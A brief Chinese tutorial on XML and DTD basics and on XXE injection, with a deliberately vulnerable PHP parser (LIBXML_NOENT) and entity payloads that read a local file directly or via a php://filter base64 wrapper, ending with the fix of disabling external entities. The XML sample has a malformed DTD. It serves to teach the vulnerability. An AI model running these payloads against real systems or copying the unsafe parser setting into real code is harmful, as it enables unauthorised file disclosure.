XML基础
定义
·可扩展标记语言,标准通用标记语言的子集,简称XML。是一种用于标记电子文件使其具有结构性的标记语言。
文档结构
·XML文档由声明、文档类型定义(DTD)、文档元素
<?xml version="1.0"?>
<!DOCTYPE bookstore[ <!--定义此文档是 bookstore类型的文档-->
<!ELEMENT bookstore(title,author,year,price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT year (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]]]>
<bookstore>
<book category="CHILDREN">
<title>Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
</bookstore>
文档类型定义(DTD)
· 文档类型定义(DTD)作用是:定义 XML 文档的合法构建模块。
· DTD 可以在 XML 文档内声明,也可以外部引用。
内部声明👇
<!DOCTYPE 根元素 [元素声明]>
外部引用👇
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "DTD名称" “DTD文件的URL”>
XXE
漏洞原理
·根本原因就是未对引用的外部实体做安全检查
有回显
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
print($xml);
?>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///D:/1.txt">]>
或者
# <!DOCTYPE a [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">]>,将回显进行base64解码
<a>&xxe;</a>
·👇
无回显
·无回显无非就是做文件探测,内网信息探测(用的少)
修复
·禁用外部实体
|